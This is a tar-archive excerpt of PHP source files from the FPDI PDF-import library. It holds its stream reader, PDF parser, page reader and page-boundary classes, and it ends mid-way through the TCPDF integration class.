$this->streamReader = $streamReader; $this->tokenizer = new Tokenizer($streamReader); } /** * Removes cycled references. * * @internal */ public function cleanUp() { $this->xref = null; } /** * Get the stream reader instance. * * @return StreamReader */ public function getStreamReader() { return $this->streamReader; } /** * Get the tokenizer instance. * * @return Tokenizer */ public function getTokenizer() { return $this->tokenizer; } /** * Resolves the file header. * * @throws PdfParserException * @return int */ protected function resolveFileHeader() { if ($this->fileHeader) { return $this->fileHeaderOffset; } $this->streamReader->reset(0); $offset = false; $maxIterations = 1000; while (true) { $buffer = $this->streamReader->getBuffer(false); $offset = \strpos($buffer, '%PDF-'); if ($offset === false) { if (!$this->streamReader->increaseLength(100) || (--$maxIterations === 0)) { throw new PdfParserException( 'Unable to find PDF file header.', PdfParserException::FILE_HEADER_NOT_FOUND ); } continue; } break; } $this->fileHeaderOffset = $offset; $this->streamReader->setOffset($offset); $this->fileHeader = \trim($this->streamReader->readLine()); return $this->fileHeaderOffset; } /** * Get the cross reference instance. * * @return CrossReference * @throws CrossReferenceException * @throws PdfParserException */ public function getCrossReference() { if ($this->xref === null) { $this->xref = new CrossReference($this, $this->resolveFileHeader()); } return $this->xref; } /** * Get the PDF version. * * @return int[] An array of major and minor version. * @throws PdfParserException */ public function getPdfVersion() { $this->resolveFileHeader(); if (\preg_match('/%PDF-(\d)\.(\d)/', $this->fileHeader, $result) === 0) { throw new PdfParserException( 'Unable to extract PDF version from file header.', PdfParserException::PDF_VERSION_NOT_FOUND ); } list(, $major, $minor) = $result; $catalog = $this->getCatalog(); if (isset($catalog->value['Version'])) { $versionParts = \explode('.', PdfName::unescape(PdfType::resolve($catalog->value['Version'], $this)->value)); if (count($versionParts) === 2) { list($major, $minor) = $versionParts; } } return [(int) $major, (int) $minor]; } /** * Get the catalog dictionary. * * @return PdfDictionary * @throws Type\PdfTypeException * @throws CrossReferenceException * @throws PdfParserException */ public function getCatalog() { $xref = $this->getCrossReference(); $trailer = $xref->getTrailer(); $catalog = PdfType::resolve(PdfDictionary::get($trailer, 'Root'), $this); return PdfDictionary::ensure($catalog); } /** * Get an indirect object by its object number. * * @param int $objectNumber * @param bool $cache * @return PdfIndirectObject * @throws CrossReferenceException * @throws PdfParserException */ public function getIndirectObject($objectNumber, $cache = false) { $objectNumber = (int) $objectNumber; if (isset($this->objects[$objectNumber])) { return $this->objects[$objectNumber]; } $xref = $this->getCrossReference(); $object = $xref->getIndirectObject($objectNumber); if ($cache) { $this->objects[$objectNumber] = $object; } return $object; } /** * Read a PDF value. * * @param null|bool|string $token * @param null|string $expectedType * @return bool|PdfArray|PdfBoolean|PdfHexString|PdfName|PdfNull|PdfNumeric|PdfString|PdfToken|PdfIndirectObjectReference * @throws Type\PdfTypeException */ public function readValue($token = null, $expectedType = null) { if ($token === null) { $token = $this->tokenizer->getNextToken(); } if ($token === false) { if ($expectedType !== null) { throw new Type\PdfTypeException('Got unexpected token type.', Type\PdfTypeException::INVALID_DATA_TYPE); } return false; } switch ($token) { case '(': $this->ensureExpectedType($token, $expectedType); return PdfString::parse($this->streamReader); case '<': if ($this->streamReader->getByte() === '<') { $this->ensureExpectedType('<<', $expectedType); $this->streamReader->addOffset(1); return PdfDictionary::parse($this->tokenizer, $this->streamReader, $this); } $this->ensureExpectedType($token, $expectedType); return PdfHexString::parse($this->streamReader); case '/': $this->ensureExpectedType($token, $expectedType); return PdfName::parse($this->tokenizer, $this->streamReader); case '[': $this->ensureExpectedType($token, $expectedType); return PdfArray::parse($this->tokenizer, $this); default: if (\is_numeric($token)) { if (($token2 = $this->tokenizer->getNextToken()) !== false) { if (\is_numeric($token2)) { if (($token3 = $this->tokenizer->getNextToken()) !== false) { switch ($token3) { case 'obj': if ($expectedType !== null && $expectedType !== PdfIndirectObject::class) { throw new Type\PdfTypeException( 'Got unexpected token type.', Type\PdfTypeException::INVALID_DATA_TYPE ); } return PdfIndirectObject::parse( $token, $token2, $this, $this->tokenizer, $this->streamReader ); case 'R': if ($expectedType !== null && $expectedType !== PdfIndirectObjectReference::class ) { throw new Type\PdfTypeException( 'Got unexpected token type.', Type\PdfTypeException::INVALID_DATA_TYPE ); } return PdfIndirectObjectReference::create($token, $token2); } $this->tokenizer->pushStack($token3); } } $this->tokenizer->pushStack($token2); } if ($expectedType !== null && $expectedType !== PdfNumeric::class) { throw new Type\PdfTypeException( 'Got unexpected token type.', Type\PdfTypeException::INVALID_DATA_TYPE ); } return PdfNumeric::create($token); } if ($token === 'true' || $token === 'false') { $this->ensureExpectedType($token, $expectedType); return PdfBoolean::create($token === 'true'); } if ($token === 'null') { $this->ensureExpectedType($token, $expectedType); return new PdfNull(); } if ($expectedType !== null && $expectedType !== PdfToken::class) { throw new Type\PdfTypeException( 'Got unexpected token type.', Type\PdfTypeException::INVALID_DATA_TYPE ); } $v = new PdfToken(); $v->value = $token; return $v; } } /** * Ensures that the token will evaluate to an expected object type (or not). * * @param string $token * @param string|null $expectedType * @return bool * @throws Type\PdfTypeException */ private function ensureExpectedType($token, $expectedType) { static $mapping = [ '(' => PdfString::class, '<' => PdfHexString::class, '<<' => PdfDictionary::class, '/' => PdfName::class, '[' => PdfArray::class, 'true' => PdfBoolean::class, 'false' => PdfBoolean::class, 'null' => PdfNull::class ]; if ($expectedType === null || $mapping[$token] === $expectedType) { return true; } throw new Type\PdfTypeException('Got unexpected token type.', Type\PdfTypeException::INVALID_DATA_TYPE); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/StreamReader.php�������������������������������������������������0000644�����������������00000027236�14760002214�0016352 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser; /** * A stream reader class * * @package setasign\Fpdi\PdfParser */ class StreamReader { /** * Creates a stream reader instance by a string value. * * @param string $content * @param int $maxMemory * @return StreamReader */ public static function createByString($content, $maxMemory = 2097152) { $h = \fopen('php://temp/maxmemory:' . ((int) $maxMemory), 'r+b'); \fwrite($h, $content); \rewind($h); return new self($h, true); } /** * Creates a stream reader instance by a filename. * * @param string $filename * @return StreamReader */ public static function createByFile($filename) { $h = \fopen($filename, 'rb'); return new self($h, true); } /** * Defines whether the stream should be closed when the stream reader instance is deconstructed or not. * * @var bool */ protected $closeStream; /** * The stream resource. * * @var resource */ protected $stream; /** * The byte-offset position in the stream. * * @var int */ protected $position; /** * The byte-offset position in the buffer. * * @var int */ protected $offset; /** * The buffer length. * * @var int */ protected $bufferLength; /** * The total length of the stream. * * @var int */ protected $totalLength; /** * The buffer. * * @var string */ protected $buffer; /** * StreamReader constructor. * * @param resource $stream * @param bool $closeStream Defines whether to close the stream resource if the instance is destructed or not. */ public function __construct($stream, $closeStream = false) { if (!\is_resource($stream)) { throw new \InvalidArgumentException( 'No stream given.' ); } $metaData = \stream_get_meta_data($stream); if (!$metaData['seekable']) { throw new \InvalidArgumentException( 'Given stream is not seekable!' ); } $this->stream = $stream; $this->closeStream = $closeStream; $this->reset(); } /** * The destructor. */ public function __destruct() { $this->cleanUp(); } /** * Closes the file handle. */ public function cleanUp() { if ($this->closeStream && is_resource($this->stream)) { \fclose($this->stream); } } /** * Returns the byte length of the buffer. * * @param bool $atOffset * @return int */ public function getBufferLength($atOffset = false) { if ($atOffset === false) { return $this->bufferLength; } return $this->bufferLength - $this->offset; } /** * Get the current position in the stream. * * @return int */ public function getPosition() { return $this->position; } /** * Returns the current buffer. * * @param bool $atOffset * @return string */ public function getBuffer($atOffset = true) { if ($atOffset === false) { return $this->buffer; } $string = \substr($this->buffer, $this->offset); return (string) $string; } /** * Gets a byte at a specific position in the buffer. * * If the position is invalid the method will return false. * * If the $position parameter is set to null the value of $this->offset will be used. * * @param int|null $position * @return string|bool */ public function getByte($position = null) { $position = (int) ($position !== null ? $position : $this->offset); if ($position >= $this->bufferLength && (!$this->increaseLength() || $position >= $this->bufferLength) ) { return false; } return $this->buffer[$position]; } /** * Returns a byte at a specific position, and set the offset to the next byte position. * * If the position is invalid the method will return false. * * If the $position parameter is set to null the value of $this->offset will be used. * * @param int|null $position * @return string|bool */ public function readByte($position = null) { if ($position !== null) { $position = (int) $position; // check if needed bytes are available in the current buffer if (!($position >= $this->position && $position < $this->position + $this->bufferLength)) { $this->reset($position); $offset = $this->offset; } else { $offset = $position - $this->position; } } else { $offset = $this->offset; } if ($offset >= $this->bufferLength && ((!$this->increaseLength()) || $offset >= $this->bufferLength) ) { return false; } $this->offset = $offset + 1; return $this->buffer[$offset]; } /** * Read bytes from the current or a specific offset position and set the internal pointer to the next byte. * * If the position is invalid the method will return false. * * If the $position parameter is set to null the value of $this->offset will be used. * * @param int $length * @param int|null $position * @return string */ public function readBytes($length, $position = null) { $length = (int) $length; if ($position !== null) { // check if needed bytes are available in the current buffer if (!($position >= $this->position && $position < $this->position + $this->bufferLength)) { $this->reset($position, $length); $offset = $this->offset; } else { $offset = $position - $this->position; } } else { $offset = $this->offset; } if (($offset + $length) > $this->bufferLength && ((!$this->increaseLength($length)) || ($offset + $length) > $this->bufferLength) ) { return false; } $bytes = \substr($this->buffer, $offset, $length); $this->offset = $offset + $length; return $bytes; } /** * Read a line from the current position. * * @param int $length * @return string|bool */ public function readLine($length = 1024) { if ($this->ensureContent() === false) { return false; } $line = ''; while ($this->ensureContent()) { $char = $this->readByte(); if ($char === "\n") { break; } if ($char === "\r") { if ($this->getByte() === "\n") { $this->addOffset(1); } break; } $line .= $char; if (\strlen($line) >= $length) { break; } } return $line; } /** * Set the offset position in the current buffer. * * @param int $offset */ public function setOffset($offset) { if ($offset > $this->bufferLength || $offset < 0) { throw new \OutOfRangeException( \sprintf('Offset (%s) out of range (length: %s)', $offset, $this->bufferLength) ); } $this->offset = (int) $offset; } /** * Returns the current offset in the current buffer. * * @return int */ public function getOffset() { return $this->offset; } /** * Add an offset to the current offset. * * @param int $offset */ public function addOffset($offset) { $this->setOffset($this->offset + $offset); } /** * Make sure that there is at least one character beyond the current offset in the buffer. * * @return bool */ public function ensureContent() { while ($this->offset >= $this->bufferLength) { if (!$this->increaseLength()) { return false; } } return true; } /** * Returns the stream. * * @return resource */ public function getStream() { return $this->stream; } /** * Gets the total available length. * * @return int */ public function getTotalLength() { if ($this->totalLength === null) { $stat = \fstat($this->stream); $this->totalLength = $stat['size']; } return $this->totalLength; } /** * Resets the buffer to a position and re-read the buffer with the given length. * * If the $pos parameter is negative the start buffer position will be the $pos'th position from * the end of the file. * * If the $pos parameter is negative and the absolute value is bigger then the totalLength of * the file $pos will set to zero. * * @param int|null $pos Start position of the new buffer * @param int $length Length of the new buffer. Mustn't be negative */ public function reset($pos = 0, $length = 200) { if ($pos === null) { $pos = $this->position + $this->offset; } elseif ($pos < 0) { $pos = \max(0, $this->getTotalLength() + $pos); } \fseek($this->stream, $pos); $this->position = $pos; $this->buffer = $length > 0 ? \fread($this->stream, $length) : ''; $this->bufferLength = \strlen($this->buffer); $this->offset = 0; // If a stream wrapper is in use it is possible that // length values > 8096 will be ignored, so use the // increaseLength()-method to correct that behavior if ($this->bufferLength < $length && $this->increaseLength($length - $this->bufferLength)) { // increaseLength parameter is $minLength, so cut to have only the required bytes in the buffer $this->buffer = \substr($this->buffer, 0, $length); $this->bufferLength = \strlen($this->buffer); } } /** * Ensures bytes in the buffer with a specific length and location in the file. * * @param int $pos * @param int $length * @see reset() */ public function ensure($pos, $length) { if ($pos >= $this->position && $pos < ($this->position + $this->bufferLength) && ($this->position + $this->bufferLength) >= ($pos + $length) ) { $this->offset = $pos - $this->position; } else { $this->reset($pos, $length); } } /** * Forcefully read more data into the buffer. * * @param int $minLength * @return bool Returns false if the stream reaches the end */ public function increaseLength($minLength = 100) { $length = \max($minLength, 100); if (\feof($this->stream) || $this->getTotalLength() === $this->position + $this->bufferLength) { return false; } $newLength = $this->bufferLength + $length; do { $this->buffer .= \fread($this->stream, $newLength - $this->bufferLength); $this->bufferLength = \strlen($this->buffer); } while (($this->bufferLength !== $newLength) && !\feof($this->stream)); return true; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfReader/DataStructure/Rectangle.php��������������������������������������0000644�����������������00000007265�14760002214�0020440 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfReader\DataStructure; use setasign\Fpdi\PdfParser\CrossReference\CrossReferenceException; use setasign\Fpdi\PdfParser\PdfParser; use setasign\Fpdi\PdfParser\PdfParserException; use setasign\Fpdi\PdfParser\Type\PdfArray; use setasign\Fpdi\PdfParser\Type\PdfNumeric; use setasign\Fpdi\PdfParser\Type\PdfType; use setasign\Fpdi\PdfParser\Type\PdfTypeException; /** * Class representing a rectangle * * @package setasign\Fpdi\PdfReader\DataStructure */ class Rectangle { /** * @var int|float */ protected $llx; /** * @var int|float */ protected $lly; /** * @var int|float */ protected $urx; /** * @var int|float */ protected $ury; /** * Create a rectangle instance by a PdfArray. * * @param PdfArray|mixed $array * @param PdfParser $parser * @return Rectangle * @throws PdfTypeException * @throws CrossReferenceException * @throws PdfParserException */ public static function byPdfArray($array, PdfParser $parser) { $array = PdfArray::ensure(PdfType::resolve($array, $parser), 4)->value; $ax = PdfNumeric::ensure(PdfType::resolve($array[0], $parser))->value; $ay = PdfNumeric::ensure(PdfType::resolve($array[1], $parser))->value; $bx = PdfNumeric::ensure(PdfType::resolve($array[2], $parser))->value; $by = PdfNumeric::ensure(PdfType::resolve($array[3], $parser))->value; return new self($ax, $ay, $bx, $by); } /** * Rectangle constructor. * * @param float|int $ax * @param float|int $ay * @param float|int $bx * @param float|int $by */ public function __construct($ax, $ay, $bx, $by) { $this->llx = \min($ax, $bx); $this->lly = \min($ay, $by); $this->urx = \max($ax, $bx); $this->ury = \max($ay, $by); } /** * Get the width of the rectangle. * * @return float|int */ public function getWidth() { return $this->urx - $this->llx; } /** * Get the height of the rectangle. * * @return float|int */ public function getHeight() { return $this->ury - $this->lly; } /** * Get the lower left abscissa. * * @return float|int */ public function getLlx() { return $this->llx; } /** * Get the lower left ordinate. * * @return float|int */ public function getLly() { return $this->lly; } /** * Get the upper right abscissa. * * @return float|int */ public function getUrx() { return $this->urx; } /** * Get the upper right ordinate. * * @return float|int */ public function getUry() { return $this->ury; } /** * Get the rectangle as an array. * * @return array */ public function toArray() { return [ $this->llx, $this->lly, $this->urx, $this->ury ]; } /** * Get the rectangle as a PdfArray. * * @return PdfArray */ public function toPdfArray() { $array = new PdfArray(); $array->value[] = PdfNumeric::create($this->llx); $array->value[] = PdfNumeric::create($this->lly); $array->value[] = PdfNumeric::create($this->urx); $array->value[] = PdfNumeric::create($this->ury); return $array; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfReader/PageBoundaries.php�����������������������������������������������0000644�����������������00000004435�14760002214�0016626 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfReader; /** * An abstract class for page boundary constants and some helper methods * * @package setasign\Fpdi\PdfReader */ abstract class PageBoundaries { /** * MediaBox * * The media box defines the boundaries of the physical medium on which the page is to be printed. * * @see PDF 32000-1:2008 - 14.11.2 Page Boundaries * @var string */ const MEDIA_BOX = 'MediaBox'; /** * CropBox * * The crop box defines the region to which the contents of the page shall be clipped (cropped) when displayed or * printed. * * @see PDF 32000-1:2008 - 14.11.2 Page Boundaries * @var string */ const CROP_BOX = 'CropBox'; /** * BleedBox * * The bleed box defines the region to which the contents of the page shall be clipped when output in a * production environment. * * @see PDF 32000-1:2008 - 14.11.2 Page Boundaries * @var string */ const BLEED_BOX = 'BleedBox'; /** * TrimBox * * The trim box defines the intended dimensions of the finished page after trimming. * * @see PDF 32000-1:2008 - 14.11.2 Page Boundaries * @var string */ const TRIM_BOX = 'TrimBox'; /** * ArtBox * * The art box defines the extent of the page’s meaningful content (including potential white space) as intended * by the page’s creator. * * @see PDF 32000-1:2008 - 14.11.2 Page Boundaries * @var string */ const ART_BOX = 'ArtBox'; /** * All page boundaries * * @var array */ public static $all = array( self::MEDIA_BOX, self::CROP_BOX, self::BLEED_BOX, self::TRIM_BOX, self::ART_BOX ); /** * Checks if a name is a valid page boundary name. * * @param string $name The boundary name * @return boolean A boolean value whether the name is valid or not. */ public static function isValidName($name) { return \in_array($name, self::$all, true); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfReader/PdfReader.php����������������������������������������������������0000644�����������������00000015340�14760002214�0015567 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfReader; use setasign\Fpdi\PdfParser\CrossReference\CrossReferenceException; use setasign\Fpdi\PdfParser\PdfParser; use setasign\Fpdi\PdfParser\PdfParserException; use setasign\Fpdi\PdfParser\Type\PdfArray; use setasign\Fpdi\PdfParser\Type\PdfDictionary; use setasign\Fpdi\PdfParser\Type\PdfIndirectObject; use setasign\Fpdi\PdfParser\Type\PdfIndirectObjectReference; use setasign\Fpdi\PdfParser\Type\PdfNumeric; use setasign\Fpdi\PdfParser\Type\PdfType; use setasign\Fpdi\PdfParser\Type\PdfTypeException; /** * A PDF reader class * * @package setasign\Fpdi\PdfReader */ class PdfReader { /** * @var PdfParser */ protected $parser; /** * @var int */ protected $pageCount; /** * Indirect objects of resolved pages. * * @var PdfIndirectObjectReference[]|PdfIndirectObject[] */ protected $pages = []; /** * PdfReader constructor. * * @param PdfParser $parser */ public function __construct(PdfParser $parser) { $this->parser = $parser; } /** * PdfReader destructor. */ public function __destruct() { if ($this->parser !== null) { $this->parser->cleanUp(); } } /** * Get the pdf parser instance. * * @return PdfParser */ public function getParser() { return $this->parser; } /** * Get the PDF version. * * @return string * @throws PdfParserException */ public function getPdfVersion() { return \implode('.', $this->parser->getPdfVersion()); } /** * Get the page count. * * @return int * @throws PdfTypeException * @throws CrossReferenceException * @throws PdfParserException */ public function getPageCount() { if ($this->pageCount === null) { $catalog = $this->parser->getCatalog(); $pages = PdfType::resolve(PdfDictionary::get($catalog, 'Pages'), $this->parser); $count = PdfType::resolve(PdfDictionary::get($pages, 'Count'), $this->parser); $this->pageCount = PdfNumeric::ensure($count)->value; } return $this->pageCount; } /** * Get a page instance. * * @param int $pageNumber * @return Page * @throws PdfTypeException * @throws CrossReferenceException * @throws PdfParserException * @throws \InvalidArgumentException */ public function getPage($pageNumber) { if (!\is_numeric($pageNumber)) { throw new \InvalidArgumentException( 'Page number needs to be a number.' ); } if ($pageNumber < 1 || $pageNumber > $this->getPageCount()) { throw new \InvalidArgumentException( \sprintf( 'Page number "%s" out of available page range (1 - %s)', $pageNumber, $this->getPageCount() ) ); } $this->readPages(); $page = $this->pages[$pageNumber - 1]; if ($page instanceof PdfIndirectObjectReference) { $readPages = function ($kids) use (&$readPages) { $kids = PdfArray::ensure($kids); /** @noinspection LoopWhichDoesNotLoopInspection */ foreach ($kids->value as $reference) { $reference = PdfIndirectObjectReference::ensure($reference); $object = $this->parser->getIndirectObject($reference->value); $type = PdfDictionary::get($object->value, 'Type'); if ($type->value === 'Pages') { return $readPages(PdfDictionary::get($object->value, 'Kids')); } return $object; } throw new PdfReaderException( 'Kids array cannot be empty.', PdfReaderException::KIDS_EMPTY ); }; $page = $this->parser->getIndirectObject($page->value); $dict = PdfType::resolve($page, $this->parser); $type = PdfDictionary::get($dict, 'Type'); if ($type->value === 'Pages') { $kids = PdfType::resolve(PdfDictionary::get($dict, 'Kids'), $this->parser); try { $page = $this->pages[$pageNumber - 1] = $readPages($kids); } catch (PdfReaderException $e) { if ($e->getCode() !== PdfReaderException::KIDS_EMPTY) { throw $e; } // let's reset the pages array and read all page objects $this->pages = []; $this->readPages(true); $page = $this->pages[$pageNumber - 1]; } } else { $this->pages[$pageNumber - 1] = $page; } } return new Page($page, $this->parser); } /** * Walk the page tree and resolve all indirect objects of all pages. * * @param bool $readAll * @throws CrossReferenceException * @throws PdfParserException * @throws PdfTypeException */ protected function readPages($readAll = false) { if (\count($this->pages) > 0) { return; } $readPages = function ($kids, $count) use (&$readPages, $readAll) { $kids = PdfArray::ensure($kids); $isLeaf = ($count->value === \count($kids->value)); foreach ($kids->value as $reference) { $reference = PdfIndirectObjectReference::ensure($reference); if (!$readAll && $isLeaf) { $this->pages[] = $reference; continue; } $object = $this->parser->getIndirectObject($reference->value); $type = PdfDictionary::get($object->value, 'Type'); if ($type->value === 'Pages') { $readPages(PdfDictionary::get($object->value, 'Kids'), PdfDictionary::get($object->value, 'Count')); } else { $this->pages[] = $object; } } }; $catalog = $this->parser->getCatalog(); $pages = PdfType::resolve(PdfDictionary::get($catalog, 'Pages'), $this->parser); $count = PdfType::resolve(PdfDictionary::get($pages, 'Count'), $this->parser); $kids = PdfType::resolve(PdfDictionary::get($pages, 'Kids'), $this->parser); $readPages($kids, $count); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfReader/Page.php���������������������������������������������������������0000644�����������������00000017035�14760002214�0014612 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfReader; use setasign\Fpdi\PdfParser\Filter\FilterException; use setasign\Fpdi\PdfParser\PdfParser; use setasign\Fpdi\PdfParser\PdfParserException; use setasign\Fpdi\PdfParser\Type\PdfArray; use setasign\Fpdi\PdfParser\Type\PdfDictionary; use setasign\Fpdi\PdfParser\Type\PdfIndirectObject; use setasign\Fpdi\PdfParser\Type\PdfNull; use setasign\Fpdi\PdfParser\Type\PdfNumeric; use setasign\Fpdi\PdfParser\Type\PdfStream; use setasign\Fpdi\PdfParser\Type\PdfType; use setasign\Fpdi\PdfParser\Type\PdfTypeException; use setasign\Fpdi\PdfReader\DataStructure\Rectangle; use setasign\Fpdi\PdfParser\CrossReference\CrossReferenceException; /** * Class representing a page of a PDF document * * @package setasign\Fpdi\PdfReader */ class Page { /** * @var PdfIndirectObject */ protected $pageObject; /** * @var PdfDictionary */ protected $pageDictionary; /** * @var PdfParser */ protected $parser; /** * Inherited attributes * * @var null|array */ protected $inheritedAttributes; /** * Page constructor. * * @param PdfIndirectObject $page * @param PdfParser $parser */ public function __construct(PdfIndirectObject $page, PdfParser $parser) { $this->pageObject = $page; $this->parser = $parser; } /** * Get the indirect object of this page. * * @return PdfIndirectObject */ public function getPageObject() { return $this->pageObject; } /** * Get the dictionary of this page. * * @return PdfDictionary * @throws PdfParserException * @throws PdfTypeException * @throws CrossReferenceException */ public function getPageDictionary() { if (null === $this->pageDictionary) { $this->pageDictionary = PdfDictionary::ensure(PdfType::resolve($this->getPageObject(), $this->parser)); } return $this->pageDictionary; } /** * Get a page attribute. * * @param string $name * @param bool $inherited * @return PdfType|null * @throws PdfParserException * @throws PdfTypeException * @throws CrossReferenceException */ public function getAttribute($name, $inherited = true) { $dict = $this->getPageDictionary(); if (isset($dict->value[$name])) { return $dict->value[$name]; } $inheritedKeys = ['Resources', 'MediaBox', 'CropBox', 'Rotate']; if ($inherited && \in_array($name, $inheritedKeys, true)) { if ($this->inheritedAttributes === null) { $this->inheritedAttributes = []; $inheritedKeys = \array_filter($inheritedKeys, function ($key) use ($dict) { return !isset($dict->value[$key]); }); if (\count($inheritedKeys) > 0) { $parentDict = PdfType::resolve(PdfDictionary::get($dict, 'Parent'), $this->parser); while ($parentDict instanceof PdfDictionary) { foreach ($inheritedKeys as $index => $key) { if (isset($parentDict->value[$key])) { $this->inheritedAttributes[$key] = $parentDict->value[$key]; unset($inheritedKeys[$index]); } } /** @noinspection NotOptimalIfConditionsInspection */ if (isset($parentDict->value['Parent']) && \count($inheritedKeys) > 0) { $parentDict = PdfType::resolve(PdfDictionary::get($parentDict, 'Parent'), $this->parser); } else { break; } } } } if (isset($this->inheritedAttributes[$name])) { return $this->inheritedAttributes[$name]; } } return null; } /** * Get the rotation value. * * @return int * @throws PdfParserException * @throws PdfTypeException * @throws CrossReferenceException */ public function getRotation() { $rotation = $this->getAttribute('Rotate'); if (null === $rotation) { return 0; } $rotation = PdfNumeric::ensure(PdfType::resolve($rotation, $this->parser))->value % 360; if ($rotation < 0) { $rotation += 360; } return $rotation; } /** * Get a boundary of this page. * * @param string $box * @param bool $fallback * @return bool|Rectangle * @throws PdfParserException * @throws PdfTypeException * @throws CrossReferenceException * @see PageBoundaries */ public function getBoundary($box = PageBoundaries::CROP_BOX, $fallback = true) { $value = $this->getAttribute($box); if ($value !== null) { return Rectangle::byPdfArray($value, $this->parser); } if ($fallback === false) { return false; } switch ($box) { case PageBoundaries::BLEED_BOX: case PageBoundaries::TRIM_BOX: case PageBoundaries::ART_BOX: return $this->getBoundary(PageBoundaries::CROP_BOX, true); case PageBoundaries::CROP_BOX: return $this->getBoundary(PageBoundaries::MEDIA_BOX, true); } return false; } /** * Get the width and height of this page. * * @param string $box * @param bool $fallback * @return array|bool * @throws PdfParserException * @throws PdfTypeException * @throws CrossReferenceException */ public function getWidthAndHeight($box = PageBoundaries::CROP_BOX, $fallback = true) { $boundary = $this->getBoundary($box, $fallback); if ($boundary === false) { return false; } $rotation = $this->getRotation(); $interchange = ($rotation / 90) % 2; return [ $interchange ? $boundary->getHeight() : $boundary->getWidth(), $interchange ? $boundary->getWidth() : $boundary->getHeight() ]; } /** * Get the raw content stream. * * @return string * @throws PdfReaderException * @throws PdfTypeException * @throws FilterException * @throws PdfParserException */ public function getContentStream() { $dict = $this->getPageDictionary(); $contents = PdfType::resolve(PdfDictionary::get($dict, 'Contents'), $this->parser); if ($contents instanceof PdfNull) { return ''; } if ($contents instanceof PdfArray) { $result = []; foreach ($contents->value as $content) { $content = PdfType::resolve($content, $this->parser); if (!($content instanceof PdfStream)) { continue; } $result[] = $content->getUnfilteredStream(); } return \implode("\n", $result); } if ($contents instanceof PdfStream) { return $contents->getUnfilteredStream(); } throw new PdfReaderException( 'Array or stream expected.', PdfReaderException::UNEXPECTED_DATA_TYPE ); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfReader/PdfReaderException.php�������������������������������������������0000644�����������������00000001200�14760002214�0017434 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfReader; use setasign\Fpdi\FpdiException; /** * Exception for the pdf reader class * * @package setasign\Fpdi\PdfReader */ class PdfReaderException extends FpdiException { /** * @var int */ const KIDS_EMPTY = 0x0101; /** * @var int */ const UNEXPECTED_DATA_TYPE = 0x0102; /** * @var int */ const MISSING_DATA = 0x0103; } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/Tcpdf/Fpdi.php�������������������������������������������������������������0000644�����������������00000020410�14760002214�0014013 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace setasign\Fpdi\Tcpdf; use setasign\Fpdi\FpdiTrait; use setasign\Fpdi\PdfParser\CrossReference\CrossReferenceException; use setasign\Fpdi\PdfParser\Filter\AsciiHex; use setasign\Fpdi\PdfParser\PdfParserException; use setasign\Fpdi\PdfParser\Type\PdfHexString; use setasign\Fpdi\PdfParser\Type\PdfIndirectObject; use setasign\Fpdi\PdfParser\Type\PdfNull; use setasign\Fpdi\PdfParser\Type\PdfNumeric; use setasign\Fpdi\PdfParser\Type\PdfStream; use setasign\Fpdi\PdfParser\Type\PdfString; use setasign\Fpdi\PdfParser\Type\PdfType; use setasign\Fpdi\PdfParser\Type\PdfTypeException; /** * Class Fpdi * * This class let you import pages of existing PDF documents into a reusable structure for TCPDF. * * @package setasign\Fpdi */ class Fpdi extends \TCPDF { use FpdiTrait { writePdfType as fpdiWritePdfType; useImportedPage as fpdiUseImportedPage; } /** * FPDI version * * @string */ const VERSION = '2.3.1'; /** * A counter for template ids. * * @var int */ protected $templateId = 0; /** * The currently used object number. * * @var int */ protected $currentObjectNumber; protected function _enddoc() { parent::_enddoc(); $this->cleanUp(); } /** * Get the 